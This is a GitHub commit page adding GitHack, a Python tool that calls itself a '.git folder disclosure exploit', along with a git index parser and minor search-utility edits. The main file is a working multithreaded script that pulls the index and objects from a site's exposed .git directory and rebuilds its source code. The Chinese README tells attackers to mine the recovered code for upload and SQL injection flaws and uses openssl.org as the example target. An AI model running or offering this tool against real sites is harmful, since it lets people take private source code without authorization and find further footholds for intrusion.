Skip to content

Commit

Permalink
add githack
Browse files Browse the repository at this point in the history
  • Loading branch information
comealong committed Oct 7, 2017
1 parent d3b930c commit 8c78f93
Show file tree
Hide file tree
Showing 8 changed files with 286 additions and 4 deletions.
Binary file added GitHack/.DS_Store
Binary file not shown.
109 changes: 109 additions & 0 deletions GitHack/GitHack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

import sys
import urllib2
import os
import urlparse
import zlib
import threading
import Queue
import re
import time
from lib.parser import parse


if len(sys.argv) == 1:
msg = """
A `.git` folder disclosure exploit. By LiJieJie
Usage: GitHack.py http://www.target.com/.git/
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
"""
print msg
sys.exit(0)


class Scanner(object):
def __init__(self):
self.base_url = sys.argv[-1]
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
if not os.path.exists(self.domain):
os.mkdir(self.domain)
print '[+] Download and parse index file ...'
data = self._request_data(sys.argv[-1] + '/index')
with open('index', 'wb') as f:
f.write(data)
self.queue = Queue.Queue()
for entry in parse('index'):
if "sha1" in entry.keys():
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
try:
print entry['name']
except:
pass
self.lock = threading.Lock()
self.thread_count = 20
self.STOP_ME = False

def _request_data(self, url):
request = urllib2.Request(url, None, {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X)'})
return urllib2.urlopen(request).read()

def _print(self, msg):
self.lock.acquire()
print msg
self.lock.release()

def get_back_file(self):
while not self.STOP_ME:
try:
sha1, file_name = self.queue.get(timeout=0.5)
except:
break
for i in range(3):
try:
folder = '/objects/%s/' % sha1[:2]
data = self._request_data(self.base_url + folder + sha1[2:])
try:
data = zlib.decompress(data)
except:
self._print('[Error] Fail to decompress %s' % file_name)
data = re.sub('blob \d+\00', '', data)
target_dir = os.path.join(self.domain, os.path.dirname(file_name) )
if target_dir and not os.path.exists(target_dir):
os.makedirs(target_dir)
with open( os.path.join(self.domain, file_name) , 'wb') as f:
f.write(data)
self._print('[OK] %s' % file_name)
break
except urllib2.HTTPError, e:
if str(e).find('HTTP Error 404') >=0:
self._print('[File not found] %s' % file_name)
break
except Exception, e:
self._print('[Error] %s' % e)
self.exit_thread()

def exit_thread(self):
self.lock.acquire()
self.thread_count -= 1
self.lock.release()

def scan(self):
for i in range(self.thread_count):
t = threading.Thread(target=self.get_back_file)
t.start()


s = Scanner()
s.scan()
try:
while s.thread_count > 0:
time.sleep(0.1)
except KeyboardInterrupt, e:
s.STOP_ME = True
time.sleep(1.0)
print 'User Aborted.'
38 changes: 38 additions & 0 deletions GitHack/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
GitHack
=

GitHack is a `.git` folder disclosure exploit.

It rebuild source code from .git folder while keep directory structure unchanged.

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。

## 脚本的工作原理 ##

* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
* 去.git/objects/ 文件夹下下载对应的文件
* zlib解压文件,按原始的目录结构写入源代码

## 它的优点 ##

* 速度快,默认20个工作线程
* 尽量还原所有的源代码,缺失部分文件不影响脚本工作
* 脚本不需要执行额外的git命令,All you need is python
* 脚本无需浏览目录

## 可能的改进##

* 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码

##用法示例##
GitHack.py http://www.openssl.org/.git/

##反馈##
* my[at]lijiejie.com
* [http://www.lijiejie.com](http://www.lijiejie.com)

##Thanks##
Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin)

Empty file added GitHack/lib/__init__.py
Empty file.
135 changes: 135 additions & 0 deletions GitHack/lib/parser.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,135 @@
#!/usr/bin/env python
#
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
#

import binascii
import collections
import mmap
import struct
import sys


def check(boolean, message):
if not boolean:
import sys
print "error: " + message
sys.exit(1)


def parse(filename, pretty=True):
with open(filename, "rb") as o:
f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)

def read(format):
# "All binary numbers are in network byte order."
# Hence "!" = network order, big endian
format = "! " + format
bytes = f.read(struct.calcsize(format))
return struct.unpack(format, bytes)[0]

index = collections.OrderedDict()

# 4-byte signature, b"DIRC"
index["signature"] = f.read(4).decode("ascii")
check(index["signature"] == "DIRC", "Not a Git index file")

# 4-byte version number
index["version"] = read("I")
check(index["version"] in {2, 3},
"Unsupported version: %s" % index["version"])

# 32-bit number of index entries, i.e. 4-byte
index["entries"] = read("I")

yield index

for n in range(index["entries"]):
entry = collections.OrderedDict()

entry["entry"] = n + 1

entry["ctime_seconds"] = read("I")
entry["ctime_nanoseconds"] = read("I")
if pretty:
entry["ctime"] = entry["ctime_seconds"]
entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000
del entry["ctime_seconds"]
del entry["ctime_nanoseconds"]

entry["mtime_seconds"] = read("I")
entry["mtime_nanoseconds"] = read("I")
if pretty:
entry["mtime"] = entry["mtime_seconds"]
entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000
del entry["mtime_seconds"]
del entry["mtime_nanoseconds"]

entry["dev"] = read("I")
entry["ino"] = read("I")

# 4-bit object type, 3-bit unused, 9-bit unix permission
entry["mode"] = read("I")
if pretty:
entry["mode"] = "%06o" % entry["mode"]

entry["uid"] = read("I")
entry["gid"] = read("I")
entry["size"] = read("I")

entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii")
entry["flags"] = read("H")

# 1-bit assume-valid
entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8))
# 1-bit extended, must be 0 in version 2
entry["extended"] = bool(entry["flags"] & (0b01000000 << 8))
# 2-bit stage (?)
stage_one = bool(entry["flags"] & (0b00100000 << 8))
stage_two = bool(entry["flags"] & (0b00010000 << 8))
entry["stage"] = stage_one, stage_two
# 12-bit name length, if the length is less than 0xFFF (else, 0xFFF)
namelen = entry["flags"] & 0xFFF

# 62 bytes so far
entrylen = 62

if entry["extended"] and (index["version"] == 3):
entry["extra-flags"] = read("H")
# 1-bit reserved
entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8))
# 1-bit skip-worktree
entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8))
# 1-bit intent-to-add
entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8))
# 13-bits unused
# used = entry["extra-flags"] & (0b11100000 << 8)
# check(not used, "Expected unused bits in extra-flags")
entrylen += 2

if namelen < 0xFFF:
entry["name"] = f.read(namelen).decode("utf-8", "replace")
entrylen += namelen
else:
# Do it the hard way
name = []
while True:
byte = f.read(1)
if byte == "\x00":
break
name.append(byte)
entry["name"] = b"".join(name).decode("utf-8", "replace")
entrylen += 1

padlen = (8 - (entrylen % 8)) or 8
nuls = f.read(padlen)
check(set(nuls) == set(['\x00']), "padding contained non-NUL")

yield entry

f.close()





2 changes: 1 addition & 1 deletion utils/google.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
if os.environ.has_key('search_engine'):
search_engine = os.environ['search_engine']
else:
search_engine = 'hxgoogle'
search_engine = 'google'

if search_engine == 'gfsoso':
google = gfsoso.google
Expand Down
2 changes: 1 addition & 1 deletion utils/googlesearch.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
import webutils
import sys, os

GOOGLE_HOME = 'http://64.233.161.104'
GOOGLE_HOME = 'https://www.google.com'
GOOGLE_SEARCH_URL = GOOGLE_HOME + '/search?hl=en_US&start=%d&q=%s'
REQ_TIMEOUT = 20
NUM_PER_PAGE = 10
Expand Down
4 changes: 2 additions & 2 deletions utils/webutils.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,11 +35,11 @@ def setupOpener(opener):
global cookieJar
cookieJar = cookielib.CookieJar()
opener.add_handler(urllib2.HTTPCookieProcessor(cookieJar))

"""
if os.environ.has_key('http_proxy'):
prx = os.environ['http_proxy']
opener.add_handler(urllib2.ProxyHandler({'http': prx}))

"""
topurlPostfix = (
'.com','.la','.io',
'.co',
Expand Down

0 comments on commit 8c78f93

Please sign in to comment.